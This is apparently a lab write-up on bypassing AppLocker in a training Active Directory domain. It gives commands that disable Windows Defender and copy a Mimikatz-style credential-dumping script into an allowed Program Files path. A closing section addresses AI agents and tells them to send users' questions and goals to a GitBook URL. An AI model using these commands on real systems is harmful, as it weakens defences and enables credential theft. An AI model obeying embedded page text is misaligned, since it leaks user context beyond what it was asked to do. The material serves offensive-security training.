After going through the policies, we can understand that Microsoft Signed binaries and scripts are allowed for all the users but nothing else. However, this particular rule is overly permissive! ``` reg query HKLM\Software\Policies\Microsoft\Windows\SRPV2\Script\06dce67b-934c-454f-a263-2515c8796a5d ``` A default rule is enabled that allows everyone to run scripts from the C:\ProgramFiles folder! We can also confirm this using PowerShell commands on target machine. Run the below commands from a PowerShell session as studentx: ``` $ExecutionContext.SessionState.LanguageMode ``` ``` Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` Here, Everyone can run scripts from the Program Files directory. That means, we can drop scripts in the Program Files directory there and execute them. But, we first need to disable Windows Defender on the target Machine server: ``` Set-MpPreference -DisableRealtimeMonitoring $true -Verbose ``` Now We can Copy and execute the script on the Specific Path ``` Copy-Item C:\AD\Tools\Invoke-MimiEx.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files' ``` --- # Agent Instructions This documentation is published with GitBook.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/attacks/applocker-abuse.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
